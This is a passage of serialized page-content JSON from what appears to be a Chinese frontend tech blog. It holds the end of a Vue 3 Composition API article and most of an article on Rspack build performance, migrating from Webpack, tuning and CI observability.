获得更好的类型检查",{"type":24,"tag":403,"props":1076,"children":1077},{},[1078],{"type":30,"value":1079},"合理使用计算属性和监听器",{"type":24,"tag":403,"props":1081,"children":1082},{},[1083],{"type":30,"value":1084},"及时清理事件监听器和定时器",{"type":24,"tag":37,"props":1086,"children":1087},{},[1088,1089,1093],{"type":30,"value":774},{"type":24,"tag":351,"props":1090,"children":1091},{},[1092],{"type":30,"value":779},{"type":30,"value":741},{"type":24,"tag":466,"props":1095,"children":1096},{},[1097,1102,1107,1112,1117],{"type":24,"tag":403,"props":1098,"children":1099},{},[1100],{"type":30,"value":1101},"在 setup 中执行副作用操作（除了生命周期钩子）",{"type":24,"tag":403,"props":1103,"children":1104},{},[1105],{"type":30,"value":1106},"过度使用计算属性",{"type":24,"tag":403,"props":1108,"children":1109},{},[1110],{"type":30,"value":1111},"忘记清理 watch 监听器",{"type":24,"tag":403,"props":1113,"children":1114},{},[1115],{"type":30,"value":1116},"在 reactive 对象中存储引用类型时不谨慎",{"type":24,"tag":403,"props":1118,"children":1119},{},[1120],{"type":30,"value":1121},"过度复杂化组合式函数",{"type":24,"tag":25,"props":1123,"children":1124},{"id":811},[1125],{"type":30,"value":811},{"type":24,"tag":466,"props":1127,"children":1129},{"className":1128},[817],[1130,1139,1148,1157,1166],{"type":24,"tag":403,"props":1131,"children":1133},{"className":1132},[822],[1134,1137],{"type":24,"tag":825,"props":1135,"children":1136},{"disabled":18,"type":827},[],{"type":30,"value":1138}," 正确使用 ref 和 reactive",{"type":24,"tag":403,"props":1140,"children":1142},{"className":1141},[822],[1143,1146],{"type":24,"tag":825,"props":1144,"children":1145},{"disabled":18,"type":827},[],{"type":30,"value":1147}," 生命周期钩子正确",{"type":24,"tag":403,"props":1149,"children":1151},{"className":1150},[822],[1152,1155],{"type":24,"tag":825,"props":1153,"children":1154},{"disabled":18,"type":827},[],{"type":30,"value":1156}," 模板引用工作正常",{"type":24,"tag":403,"props":1158,"children":1160},{"className":1159},[822],[1161,1164],{"type":24,"tag":825,"props":1162,"children":1163},{"disabled":18,"type":827},[],{"type":30,"value":1165}," 组合式函数可重用",{"type":24,"tag":403,"props":1167,"children":1169},{"className":1168},[822],[1170,1173],{"type":24,"tag":825,"props":1171,"children":1172},{"disabled":18,"type":827},[],{"type":30,"value":857},{"title":7,"searchDepth":512,"depth":512,"links":1175},[1176,1177,1181,1184,1187,1190,1193,1196,1197],{"id":905,"depth":515,"text":891},{"id":915,"depth":515,"text":915,"children":1178},[1179,1180],{"id":920,"depth":512,"text":923},{"id":935,"depth":512,"text":935},{"id":896,"depth":515,"text":896,"children":1182},[1183],{"id":953,"depth":512,"text":953},{"id":967,"depth":515,"text":967,"children":1185},[1186],{"id":972,"depth":512,"text":975},{"id":987,"depth":515,"text":987,"children":1188},[1189],{"id":992,"depth":512,"text":995},{"id":1007,"depth":515,"text":1007,"children":1191},[1192],{"id":1012,"depth":512,"text":1012},{"id":1026,"depth":515,"text":1026,"children":1194},[1195],{"id":1031,"depth":512,"text":1034},{"id":727,"depth":515,"text":727},{"id":811,"depth":515,"text":811},"content:topics:frontend:vue3-composition-api.md","topics/frontend/vue3-composition-api.md","topics/frontend/vue3-composition-api",{"_path":1202,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":1203,"description":1204,"date":1205,"topic":5,"author":11,"tags":1206,"image":1212,"featured":18,"readingTime":1213,"body":1214,"_type":555,"_id":2475,"_source":557,"_file":2476,"_stem":2477,"_extension":560},"/topics/frontend/rspack-performance-practice","Rspack 构建性能实战","从 Rspack 的架构设计与编译管线出发，系统对比 Webpack/Vite 并给出 Rspack 在大型项目中的迁移路径、性能调优策略与生产级可观测方案。","2026-01-20",[1207,1208,1209,1210,1211],"Rspack","构建工具","性能优化","Webpack","前端工程化","/images/topics/rspack.jpg",25,{"type":21,"children":1215,"toc":2442},[1216,1221,1233,1238,1256,1268,1273,1296,1300,1306,1311,1317,1350,1356,1374,1377,1383,1389,1394,1407,1413,1418,1431,1437,1455,1460,1463,1469,1474,1615,1620,1643,1646,1652,1658,1663,1668,1735,1748,1754,1762,1775,1783,1796,1804,1817,1823,1841,1844,1850,1856,1861,1874,1880,1885,1896,1902,1907,1925,1930,1958,1961,1967,1972,1983,1988,2006,2011,2029,2032,2038,2043,2061,2066,2089,2094,2112,2115,2121,2127,2132,2150,2156,2174,2180,2198,2201,2207,2322,2327,2345,2348,2354,2412,2415,2419,2424],{"type":24,"tag":25,"props":1217,"children":1219},{"id":1218},"rspack-构建性能实战",[1220],{"type":30,"value":1203},{"type":24,"tag":37,"props":1222,"children":1223},{},[1224,1226,1231],{"type":30,"value":1225},"Rspack 不是\"又一个构建工具\"，而是字节跳动在处理",{"type":24,"tag":351,"props":1227,"children":1228},{},[1229],{"type":30,"value":1230},"超大规模前端项目",{"type":30,"value":1232},"时，对 Webpack 生态的 Rust 重写与工程化沉淀。",{"type":24,"tag":37,"props":1234,"children":1235},{},[1236],{"type":30,"value":1237},"它要解决的核心问题是：",{"type":24,"tag":466,"props":1239,"children":1240},{},[1241,1246,1251],{"type":24,"tag":403,"props":1242,"children":1243},{},[1244],{"type":30,"value":1245},"Webpack 的构建速度在大型 monorepo 下（10k+ 模块）已成为开发体验瓶颈",{"type":24,"tag":403,"props":1247,"children":1248},{},[1249],{"type":30,"value":1250},"但你又无法抛弃 Webpack 的插件生态与配置范式",{"type":24,"tag":403,"props":1252,"children":1253},{},[1254],{"type":30,"value":1255},"Vite 虽然快，但在某些场景（大型遗留项目、特定插件依赖）迁移成本高",{"type":24,"tag":37,"props":1257,"children":1258},{},[1259,1261,1266],{"type":30,"value":1260},"Rspack 的定位是：",{"type":24,"tag":351,"props":1262,"children":1263},{},[1264],{"type":30,"value":1265},"Webpack 兼容 API + Rust 性能 + 生产级稳定性",{"type":30,"value":1267},"。",{"type":24,"tag":37,"props":1269,"children":1270},{},[1271],{"type":30,"value":1272},"这篇文章不讲\"Hello World\"，而是按\"你要在生产上稳定用 Rspack\"的标准，给出：",{"type":24,"tag":466,"props":1274,"children":1275},{},[1276,1281,1286,1291],{"type":24,"tag":403,"props":1277,"children":1278},{},[1279],{"type":30,"value":1280},"性能收益的真实量化方法",{"type":24,"tag":403,"props":1282,"children":1283},{},[1284],{"type":30,"value":1285},"迁移路径与兼容性边界",{"type":24,"tag":403,"props":1287,"children":1288},{},[1289],{"type":30,"value":1290},"优化策略（缓存、并行、Tree Shaking）",{"type":24,"tag":403,"props":1292,"children":1293},{},[1294],{"type":30,"value":1295},"监控与排障（为什么变慢、为什么产物变大）",{"type":24,"tag":1297,"props":1298,"children":1299},"hr",{},[],{"type":24,"tag":25,"props":1301,"children":1303},{"id":1302},"_1-先回答什么项目值得迁移-rspack",[1304],{"type":30,"value":1305},"1. 先回答：什么项目值得迁移 Rspack？",{"type":24,"tag":37,"props":1307,"children":1308},{},[1309],{"type":30,"value":1310},"不是所有项目都需要 Rspack。",{"type":24,"tag":48,"props":1312,"children":1314},{"id":1313},"_11-高收益场景",[1315],{"type":30,"value":1316},"1.1 高收益场景",{"type":24,"tag":466,"props":1318,"children":1319},{},[1320,1330,1340],{"type":24,"tag":403,"props":1321,"children":1322},{},[1323,1328],{"type":24,"tag":351,"props":1324,"children":1325},{},[1326],{"type":30,"value":1327},"大型 monorepo",{"type":30,"value":1329},"（5k+ 模块，构建时间 > 2 分钟）",{"type":24,"tag":403,"props":1331,"children":1332},{},[1333,1338],{"type":24,"tag":351,"props":1334,"children":1335},{},[1336],{"type":30,"value":1337},"频繁开发迭代",{"type":30,"value":1339},"（HMR 延迟影响体验）",{"type":24,"tag":403,"props":1341,"children":1342},{},[1343,1348],{"type":24,"tag":351,"props":1344,"children":1345},{},[1346],{"type":30,"value":1347},"CI 构建成本高",{"type":30,"value":1349},"（每次 PR 构建超 10 分钟）",{"type":24,"tag":48,"props":1351,"children":1353},{"id":1352},"_12-收益不明显的场景",[1354],{"type":30,"value":1355},"1.2 收益不明显的场景",{"type":24,"tag":466,"props":1357,"children":1358},{},[1359,1364,1369],{"type":24,"tag":403,"props":1360,"children":1361},{},[1362],{"type":30,"value":1363},"小型项目（\u003C 1k 模块）",{"type":24,"tag":403,"props":1365,"children":1366},{},[1367],{"type":30,"value":1368},"已经用 Vite 且体验良好",{"type":24,"tag":403,"props":1370,"children":1371},{},[1372],{"type":30,"value":1373},"高度定制的 Webpack 插件（迁移成本 > 性能收益）",{"type":24,"tag":1297,"props":1375,"children":1376},{},[],{"type":24,"tag":25,"props":1378,"children":1380},{"id":1379},"_2-rspack-的架构为什么能快",[1381],{"type":30,"value":1382},"2. Rspack 的架构：为什么能快？",{"type":24,"tag":48,"props":1384,"children":1386},{"id":1385},"_21-rust-并行编译",[1387],{"type":30,"value":1388},"2.1 Rust 并行编译",{"type":24,"tag":37,"props":1390,"children":1391},{},[1392],{"type":30,"value":1393},"Webpack 是单线程 JavaScript，Rspack 是多线程 Rust。",{"type":24,"tag":466,"props":1395,"children":1396},{},[1397,1402],{"type":24,"tag":403,"props":1398,"children":1399},{},[1400],{"type":30,"value":1401},"模块解析、编译、优化可并行",{"type":24,"tag":403,"props":1403,"children":1404},{},[1405],{"type":30,"value":1406},"I/O 密集型任务（读文件、写产物）异步化",{"type":24,"tag":48,"props":1408,"children":1410},{"id":1409},"_22-更激进的缓存策略",[1411],{"type":30,"value":1412},"2.2 更激进的缓存策略",{"type":24,"tag":37,"props":1414,"children":1415},{},[1416],{"type":30,"value":1417},"Rspack 内置持久化缓存：",{"type":24,"tag":466,"props":1419,"children":1420},{},[1421,1426],{"type":24,"tag":403,"props":1422,"children":1423},{},[1424],{"type":30,"value":1425},"模块级别缓存（类似 Webpack 5 的 cache.type: 'filesystem'）",{"type":24,"tag":403,"props":1427,"children":1428},{},[1429],{"type":30,"value":1430},"但实现更激进：对未变化模块跳过编译",{"type":24,"tag":48,"props":1432,"children":1434},{"id":1433},"_23-内置常用功能减少插件开销",[1435],{"type":30,"value":1436},"2.3 内置常用功能（减少插件开销）",{"type":24,"tag":466,"props":1438,"children":1439},{},[1440,1445,1450],{"type":24,"tag":403,"props":1441,"children":1442},{},[1443],{"type":30,"value":1444},"SWC 替代 Babel（内置 TS/JSX/装饰器）",{"type":24,"tag":403,"props":1446,"children":1447},{},[1448],{"type":30,"value":1449},"CSS Modules、PostCSS 内置",{"type":24,"tag":403,"props":1451,"children":1452},{},[1453],{"type":30,"value":1454},"Tree Shaking 内置",{"type":24,"tag":37,"props":1456,"children":1457},{},[1458],{"type":30,"value":1459},"这让 Rspack 在相同功能下比 Webpack + 插件链路更快。",{"type":24,"tag":1297,"props":1461,"children":1462},{},[],{"type":24,"tag":25,"props":1464,"children":1466},{"id":1465},"_3-性能对比真实场景的量化",[1467],{"type":30,"value":1468},"3. 性能对比：真实场景的量化",{"type":24,"tag":37,"props":1470,"children":1471},{},[1472],{"type":30,"value":1473},"我们用一个典型中型项目（3k 模块，React + TS + CSS Modules）做对比：",{"type":24,"tag":1475,"props":1476,"children":1477},"table",{},[1478,1506],{"type":24,"tag":1479,"props":1480,"children":1481},"thead",{},[1482],{"type":24,"tag":1483,"props":1484,"children":1485},"tr",{},[1486,1492,1497,1501],{"type":24,"tag":1487,"props":1488,"children":1489},"th",{},[1490],{"type":30,"value":1491},"指标",{"type":24,"tag":1487,"props":1493,"children":1494},{},[1495],{"type":30,"value":1496},"Webpack 5",{"type":24,"tag":1487,"props":1498,"children":1499},{},[1500],{"type":30,"value":1207},{"type":24,"tag":1487,"props":1502,"children":1503},{},[1504],{"type":30,"value":1505},"提升",{"type":24,"tag":1507,"props":1508,"children":1509},"tbody",{},[1510,1537,1563,1589],{"type":24,"tag":1483,"props":1511,"children":1512},{},[1513,1519,1524,1529],{"type":24,"tag":1514,"props":1515,"children":1516},"td",{},[1517],{"type":30,"value":1518},"冷启动",{"type":24,"tag":1514,"props":1520,"children":1521},{},[1522],{"type":30,"value":1523},"42s",{"type":24,"tag":1514,"props":1525,"children":1526},{},[1527],{"type":30,"value":1528},"8s",{"type":24,"tag":1514,"props":1530,"children":1531},{},[1532],{"type":24,"tag":351,"props":1533,"children":1534},{},[1535],{"type":30,"value":1536},"5.2x",{"type":24,"tag":1483,"props":1538,"children":1539},{},[1540,1545,1550,1555],{"type":24,"tag":1514,"props":1541,"children":1542},{},[1543],{"type":30,"value":1544},"HMR（热更新）",{"type":24,"tag":1514,"props":1546,"children":1547},{},[1548],{"type":30,"value":1549},"1.2s",{"type":24,"tag":1514,"props":1551,"children":1552},{},[1553],{"type":30,"value":1554},"0.15s",{"type":24,"tag":1514,"props":1556,"children":1557},{},[1558],{"type":24,"tag":351,"props":1559,"children":1560},{},[1561],{"type":30,"value":1562},"8x",{"type":24,"tag":1483,"props":1564,"children":1565},{},[1566,1571,1576,1581],{"type":24,"tag":1514,"props":1567,"children":1568},{},[1569],{"type":30,"value":1570},"生产构建",{"type":24,"tag":1514,"props":1572,"children":1573},{},[1574],{"type":30,"value":1575},"125s",{"type":24,"tag":1514,"props":1577,"children":1578},{},[1579],{"type":30,"value":1580},"28s",{"type":24,"tag":1514,"props":1582,"children":1583},{},[1584],{"type":24,"tag":351,"props":1585,"children":1586},{},[1587],{"type":30,"value":1588},"4.5x",{"type":24,"tag":1483,"props":1590,"children":1591},{},[1592,1597,1602,1607],{"type":24,"tag":1514,"props":1593,"children":1594},{},[1595],{"type":30,"value":1596},"内存峰值",{"type":24,"tag":1514,"props":1598,"children":1599},{},[1600],{"type":30,"value":1601},"1.8GB",{"type":24,"tag":1514,"props":1603,"children":1604},{},[1605],{"type":30,"value":1606},"0.9GB",{"type":24,"tag":1514,"props":1608,"children":1609},{},[1610],{"type":24,"tag":351,"props":1611,"children":1612},{},[1613],{"type":30,"value":1614},"2x",{"type":24,"tag":37,"props":1616,"children":1617},{},[1618],{"type":30,"value":1619},"关键收益：",{"type":24,"tag":466,"props":1621,"children":1622},{},[1623,1633],{"type":24,"tag":403,"props":1624,"children":1625},{},[1626,1631],{"type":24,"tag":351,"props":1627,"children":1628},{},[1629],{"type":30,"value":1630},"开发体验质变",{"type":30,"value":1632},"（HMR \u003C 200ms）",{"type":24,"tag":403,"props":1634,"children":1635},{},[1636,1641],{"type":24,"tag":351,"props":1637,"children":1638},{},[1639],{"type":30,"value":1640},"CI 成本减半",{"type":30,"value":1642},"（构建时间直接影响 Runner 费用）",{"type":24,"tag":1297,"props":1644,"children":1645},{},[],{"type":24,"tag":25,"props":1647,"children":1649},{"id":1648},"_4-迁移路径从-webpack-到-rspack",[1650],{"type":30,"value":1651},"4. 迁移路径：从 Webpack 到 Rspack",{"type":24,"tag":48,"props":1653,"children":1655},{"id":1654},"_41-最小迁移保守策略",[1656],{"type":30,"value":1657},"4.1 最小迁移（保守策略）",{"type":24,"tag":37,"props":1659,"children":1660},{},[1661],{"type":30,"value":1662},"目标：用最小改动换取性能收益。",{"type":24,"tag":37,"props":1664,"children":1665},{},[1666],{"type":30,"value":1667},"步骤：",{"type":24,"tag":399,"props":1669,"children":1670},{},[1671,1690,1709,1730],{"type":24,"tag":403,"props":1672,"children":1673},{},[1674,1676,1682,1684],{"type":30,"value":1675},"安装 ",{"type":24,"tag":59,"props":1677,"children":1679},{"className":1678},[],[1680],{"type":30,"value":1681},"@rspack/cli",{"type":30,"value":1683}," 与 ",{"type":24,"tag":59,"props":1685,"children":1687},{"className":1686},[],[1688],{"type":30,"value":1689},"@rspack/core",{"type":24,"tag":403,"props":1691,"children":1692},{},[1693,1695,1701,1703],{"type":30,"value":1694},"把 ",{"type":24,"tag":59,"props":1696,"children":1698},{"className":1697},[],[1699],{"type":30,"value":1700},"webpack.config.js",{"type":30,"value":1702}," 改为 ",{"type":24,"tag":59,"props":1704,"children":1706},{"className":1705},[],[1707],{"type":30,"value":1708},"rspack.config.js",{"type":24,"tag":403,"props":1710,"children":1711},{},[1712,1714,1720,1722,1728],{"type":30,"value":1713},"替换构建命令（",{"type":24,"tag":59,"props":1715,"children":1717},{"className":1716},[],[1718],{"type":30,"value":1719},"rspack build",{"type":30,"value":1721}," / ",{"type":24,"tag":59,"props":1723,"children":1725},{"className":1724},[],[1726],{"type":30,"value":1727},"rspack dev",{"type":30,"value":1729},"）",{"type":24,"tag":403,"props":1731,"children":1732},{},[1733],{"type":30,"value":1734},"运行并修复兼容性问题",{"type":24,"tag":37,"props":1736,"children":1737},{},[1738,1740,1746],{"type":30,"value":1739},"预计迁移成本：1",{"type":24,"tag":1741,"props":1742,"children":1743},"del",{},[1744],{"type":30,"value":1745},"2 天（小型项目）/ 1",{"type":30,"value":1747},"2 周（大型项目）",{"type":24,"tag":48,"props":1749,"children":1751},{"id":1750},"_42-兼容性边界哪些需要调整",[1752],{"type":30,"value":1753},"4.2 兼容性边界：哪些需要调整",{"type":24,"tag":37,"props":1755,"children":1756},{},[1757],{"type":24,"tag":351,"props":1758,"children":1759},{},[1760],{"type":30,"value":1761},"插件兼容",{"type":24,"tag":466,"props":1763,"children":1764},{},[1765,1770],{"type":24,"tag":403,"props":1766,"children":1767},{},[1768],{"type":30,"value":1769},"Rspack 支持大部分 Webpack 插件（API 兼容）",{"type":24,"tag":403,"props":1771,"children":1772},{},[1773],{"type":30,"value":1774},"但少数复杂插件（例如深度依赖 Webpack 内部 API）需要适配",{"type":24,"tag":37,"props":1776,"children":1777},{},[1778],{"type":24,"tag":351,"props":1779,"children":1780},{},[1781],{"type":30,"value":1782},"Loader 兼容",{"type":24,"tag":466,"props":1784,"children":1785},{},[1786,1791],{"type":24,"tag":403,"props":1787,"children":1788},{},[1789],{"type":30,"value":1790},"常用 loader（babel-loader、css-loader、postcss-loader）兼容",{"type":24,"tag":403,"props":1792,"children":1793},{},[1794],{"type":30,"value":1795},"部分自定义 loader 需要测试",{"type":24,"tag":37,"props":1797,"children":1798},{},[1799],{"type":24,"tag":351,"props":1800,"children":1801},{},[1802],{"type":30,"value":1803},"配置差异",{"type":24,"tag":466,"props":1805,"children":1806},{},[1807,1812],{"type":24,"tag":403,"props":1808,"children":1809},{},[1810],{"type":30,"value":1811},"resolve、output、optimization 等配置与 Webpack 高度一致",{"type":24,"tag":403,"props":1813,"children":1814},{},[1815],{"type":30,"value":1816},"少数高级配置需要查文档",{"type":24,"tag":48,"props":1818,"children":1820},{"id":1819},"_43-推荐的迁移节奏",[1821],{"type":30,"value":1822},"4.3 推荐的迁移节奏",{"type":24,"tag":466,"props":1824,"children":1825},{},[1826,1831,1836],{"type":24,"tag":403,"props":1827,"children":1828},{},[1829],{"type":30,"value":1830},"Week 1：本地开发环境先行",{"type":24,"tag":403,"props":1832,"children":1833},{},[1834],{"type":30,"value":1835},"Week 2：CI 构建切换（并保留 Webpack 作为 fallback）",{"type":24,"tag":403,"props":1837,"children":1838},{},[1839],{"type":30,"value":1840},"Week 3~4：生产构建切换并观测",{"type":24,"tag":1297,"props":1842,"children":1843},{},[],{"type":24,"tag":25,"props":1845,"children":1847},{"id":1846},"_5-性能调优让-rspack-更快",[1848],{"type":30,"value":1849},"5. 性能调优：让 Rspack 更快",{"type":24,"tag":48,"props":1851,"children":1853},{"id":1852},"_51-缓存策略",[1854],{"type":30,"value":1855},"5.1 缓存策略",{"type":24,"tag":37,"props":1857,"children":1858},{},[1859],{"type":30,"value":1860},"默认缓存已经很激进，但你可以：",{"type":24,"tag":466,"props":1862,"children":1863},{},[1864,1869],{"type":24,"tag":403,"props":1865,"children":1866},{},[1867],{"type":30,"value":1868},"显式配置缓存目录（例如挂载 SSD）",{"type":24,"tag":403,"props":1870,"children":1871},{},[1872],{"type":30,"value":1873},"在 CI 上持久化缓存（例如用 actions/cache）",{"type":24,"tag":48,"props":1875,"children":1877},{"id":1876},"_52-并行度调优",[1878],{"type":30,"value":1879},"5.2 并行度调优",{"type":24,"tag":37,"props":1881,"children":1882},{},[1883],{"type":30,"value":1884},"Rspack 默认会用所有 CPU 核心，但在容器环境（例如 CI）可能需要限制：",{"type":24,"tag":54,"props":1886,"children":1891},{"className":1887,"code":1889,"language":1890,"meta":7},[1888],"language-js","module.exports = {\n  experiments: {\n    rspackFuture: {\n      disableTransformByDefault: true, // 减少不必要转换\n    },\n  },\n}\n","js",[1892],{"type":24,"tag":59,"props":1893,"children":1894},{"__ignoreMap":7},[1895],{"type":30,"value":1889},{"type":24,"tag":48,"props":1897,"children":1899},{"id":1898},"_53-tree-shaking-与-dead-code-elimination",[1900],{"type":30,"value":1901},"5.3 Tree Shaking 与 Dead Code Elimination",{"type":24,"tag":37,"props":1903,"children":1904},{},[1905],{"type":30,"value":1906},"Rspack 内置 Tree Shaking，但效果取决于：",{"type":24,"tag":466,"props":1908,"children":1909},{},[1910,1915,1920],{"type":24,"tag":403,"props":1911,"children":1912},{},[1913],{"type":30,"value":1914},"是否使用 ESM（而非 CommonJS）",{"type":24,"tag":403,"props":1916,"children":1917},{},[1918],{"type":30,"value":1919},"副作用标记（sideEffects: false）",{"type":24,"tag":403,"props":1921,"children":1922},{},[1923],{"type":30,"value":1924},"动态 import 的拆分策略",{"type":24,"tag":37,"props":1926,"children":1927},{},[1928],{"type":30,"value":1929},"建议：",{"type":24,"tag":466,"props":1931,"children":1932},{},[1933,1946],{"type":24,"tag":403,"props":1934,"children":1935},{},[1936,1938,1944],{"type":30,"value":1937},"对第三方库检查 ",{"type":24,"tag":59,"props":1939,"children":1941},{"className":1940},[],[1942],{"type":30,"value":1943},"sideEffects",{"type":30,"value":1945}," 配置",{"type":24,"tag":403,"props":1947,"children":1948},{},[1949,1951,1957],{"type":30,"value":1950},"避免\"全量引入后 tree shake\"（例如 ",{"type":24,"tag":59,"props":1952,"children":1954},{"className":1953},[],[1955],{"type":30,"value":1956},"import * from 'lodash'",{"type":30,"value":1729},{"type":24,"tag":1297,"props":1959,"children":1960},{},[],{"type":24,"tag":25,"props":1962,"children":1964},{"id":1963},"_6-产物分析与优化",[1965],{"type":30,"value":1966},"6. 产物分析与优化",{"type":24,"tag":37,"props":1968,"children":1969},{},[1970],{"type":30,"value":1971},"Rspack 提供内置分析工具：",{"type":24,"tag":54,"props":1973,"children":1978},{"className":1974,"code":1976,"language":1977,"meta":7},[1975],"language-bash","rspack build --analyze\n","bash",[1979],{"type":24,"tag":59,"props":1980,"children":1981},{"__ignoreMap":7},[1982],{"type":30,"value":1976},{"type":24,"tag":37,"props":1984,"children":1985},{},[1986],{"type":30,"value":1987},"关键指标：",{"type":24,"tag":466,"props":1989,"children":1990},{},[1991,1996,2001],{"type":24,"tag":403,"props":1992,"children":1993},{},[1994],{"type":30,"value":1995},"各 chunk 体积分布",{"type":24,"tag":403,"props":1997,"children":1998},{},[1999],{"type":30,"value":2000},"重复依赖（例如多个版本的 lodash）",{"type":24,"tag":403,"props":2002,"children":2003},{},[2004],{"type":30,"value":2005},"未被 tree shake 的代码",{"type":24,"tag":37,"props":2007,"children":2008},{},[2009],{"type":30,"value":2010},"优化策略：",{"type":24,"tag":466,"props":2012,"children":2013},{},[2014,2019,2024],{"type":24,"tag":403,"props":2015,"children":2016},{},[2017],{"type":30,"value":2018},"拆分 vendor chunk（按更新频率）",{"type":24,"tag":403,"props":2020,"children":2021},{},[2022],{"type":30,"value":2023},"对大型库按需引入（例如 antd/lodash-es）",{"type":24,"tag":403,"props":2025,"children":2026},{},[2027],{"type":30,"value":2028},"检查动态 import 的粒度",{"type":24,"tag":1297,"props":2030,"children":2031},{},[],{"type":24,"tag":25,"props":2033,"children":2035},{"id":2034},"_7-生产可观测性让构建可量化",[2036],{"type":30,"value":2037},"7. 生产可观测性：让构建可量化",{"type":24,"tag":37,"props":2039,"children":2040},{},[2041],{"type":30,"value":2042},"在 CI/CD 里，你需要能回答：",{"type":24,"tag":466,"props":2044,"children":2045},{},[2046,2051,2056],{"type":24,"tag":403,"props":2047,"children":2048},{},[2049],{"type":30,"value":2050},"这次构建为什么变慢？",{"type":24,"tag":403,"props":2052,"children":2053},{},[2054],{"type":30,"value":2055},"产物为什么变大？",{"type":24,"tag":403,"props":2057,"children":2058},{},[2059],{"type":30,"value":2060},"哪个模块耗时最多？",{"type":24,"tag":37,"props":2062,"children":2063},{},[2064],{"type":30,"value":2065},"建议在 CI 里记录：",{"type":24,"tag":466,"props":2067,"children":2068},{},[2069,2074,2079,2084],{"type":24,"tag":403,"props":2070,"children":2071},{},[2072],{"type":30,"value":2073},"构建总耗时",{"type":24,"tag":403,"props":2075,"children":2076},{},[2077],{"type":30,"value":2078},"各阶段耗时（resolve、compile、optimize、emit）",{"type":24,"tag":403,"props":2080,"children":2081},{},[2082],{"type":30,"value":2083},"产物体积（按 chunk）",{"type":24,"tag":403,"props":2085,"children":2086},{},[2087],{"type":30,"value":2088},"缓存命中率",{"type":24,"tag":37,"props":2090,"children":2091},{},[2092],{"type":30,"value":2093},"落地方式：",{"type":24,"tag":466,"props":2095,"children":2096},{},[2097,2102,2107],{"type":24,"tag":403,"props":2098,"children":2099},{},[2100],{"type":30,"value":2101},"用 Rspack 的 stats 输出",{"type":24,"tag":403,"props":2103,"children":2104},{},[2105],{"type":30,"value":2106},"在 CI 日志里保留关键指标",{"type":24,"tag":403,"props":2108,"children":2109},{},[2110],{"type":30,"value":2111},"对产物体积做 baseline 对比（变化 > 5% 报警）",{"type":24,"tag":1297,"props":2113,"children":2114},{},[],{"type":24,"tag":25,"props":2116,"children":2118},{"id":2117},"_8-常见问题排查",[2119],{"type":30,"value":2120},"8. 常见问题排查",{"type":24,"tag":48,"props":2122,"children":2124},{"id":2123},"_81-迁移后变慢了",[2125],{"type":30,"value":2126},"8.1 \"迁移后变慢了\"",{"type":24,"tag":37,"props":2128,"children":2129},{},[2130],{"type":30,"value":2131},"排查顺序：",{"type":24,"tag":466,"props":2133,"children":2134},{},[2135,2140,2145],{"type":24,"tag":403,"props":2136,"children":2137},{},[2138],{"type":30,"value":2139},"缓存是否生效（首次构建慢正常）",{"type":24,"tag":403,"props":2141,"children":2142},{},[2143],{"type":30,"value":2144},"是否有 loader 拖慢（例如未优化的自定义 loader）",{"type":24,"tag":403,"props":2146,"children":2147},{},[2148],{"type":30,"value":2149},"并行度是否受限（例如 CI 限制 CPU）",{"type":24,"tag":48,"props":2151,"children":2153},{"id":2152},"_82-产物体积变大了",[2154],{"type":30,"value":2155},"8.2 \"产物体积变大了\"",{"type":24,"tag":466,"props":2157,"children":2158},{},[2159,2164,2169],{"type":24,"tag":403,"props":2160,"children":2161},{},[2162],{"type":30,"value":2163},"检查 Tree Shaking 是否生效",{"type":24,"tag":403,"props":2165,"children":2166},{},[2167],{"type":30,"value":2168},"检查是否引入了更多 polyfill",{"type":24,"tag":403,"props":2170,"children":2171},{},[2172],{"type":30,"value":2173},"对比 chunk 分布（用 analyze）",{"type":24,"tag":48,"props":2175,"children":2177},{"id":2176},"_83-某些模块编译失败",[2178],{"type":30,"value":2179},"8.3 \"某些模块编译失败\"",{"type":24,"tag":466,"props":2181,"children":2182},{},[2183,2188,2193],{"type":24,"tag":403,"props":2184,"children":2185},{},[2186],{"type":30,"value":2187},"检查是否依赖 Webpack 特定 API",{"type":24,"tag":403,"props":2189,"children":2190},{},[2191],{"type":30,"value":2192},"查看 Rspack 官方兼容性列表",{"type":24,"tag":403,"props":2194,"children":2195},{},[2196],{"type":30,"value":2197},"在 GitHub Issues 搜索类似问题",{"type":24,"tag":1297,"props":2199,"children":2200},{},[],{"type":24,"tag":25,"props":2202,"children":2204},{"id":2203},"_9-rspack-vs-vite什么时候选哪个",[2205],{"type":30,"value":2206},"9. Rspack vs Vite：什么时候选哪个？",{"type":24,"tag":1475,"props":2208,"children":2209},{},[2210,2230],{"type":24,"tag":1479,"props":2211,"children":2212},{},[2213],{"type":24,"tag":1483,"props":2214,"children":2215},{},[2216,2221,2225],{"type":24,"tag":1487,"props":2217,"children":2218},{},[2219],{"type":30,"value":2220},"维度",{"type":24,"tag":1487,"props":2222,"children":2223},{},[2224],{"type":30,"value":1207},{"type":24,"tag":1487,"props":2226,"children":2227},{},[2228],{"type":30,"value":2229},"Vite",{"type":24,"tag":1507,"props":2231,"children":2232},{},[2233,2251,2268,2286,2304],{"type":24,"tag":1483,"props":2234,"children":2235},{},[2236,2241,2246],{"type":24,"tag":1514,"props":2237,"children":2238},{},[2239],{"type":30,"value":2240},"开发速度",{"type":24,"tag":1514,"props":2242,"children":2243},{},[2244],{"type":30,"value":2245},"极快（Rust 编译）",{"type":24,"tag":1514,"props":2247,"children":2248},{},[2249],{"type":30,"value":2250},"极快（ESM 直连）",{"type":24,"tag":1483,"props":2252,"children":2253},{},[2254,2258,2263],{"type":24,"tag":1514,"props":2255,"children":2256},{},[2257],{"type":30,"value":1570},{"type":24,"tag":1514,"props":2259,"children":2260},{},[2261],{"type":30,"value":2262},"快（全量编译优化）",{"type":24,"tag":1514,"props":2264,"children":2265},{},[2266],{"type":30,"value":2267},"快（Rollup）",{"type":24,"tag":1483,"props":2269,"children":2270},{},[2271,2276,2281],{"type":24,"tag":1514,"props":2272,"children":2273},{},[2274],{"type":30,"value":2275},"Webpack 兼容",{"type":24,"tag":1514,"props":2277,"children":2278},{},[2279],{"type":30,"value":2280},"高",{"type":24,"tag":1514,"props":2282,"children":2283},{},[2284],{"type":30,"value":2285},"低",{"type":24,"tag":1483,"props":2287,"children":2288},{},[2289,2294,2299],{"type":24,"tag":1514,"props":2290,"children":2291},{},[2292],{"type":30,"value":2293},"插件生态",{"type":24,"tag":1514,"props":2295,"children":2296},{},[2297],{"type":30,"value":2298},"Webpack 生态",{"type":24,"tag":1514,"props":2300,"children":2301},{},[2302],{"type":30,"value":2303},"Rollup/Vite 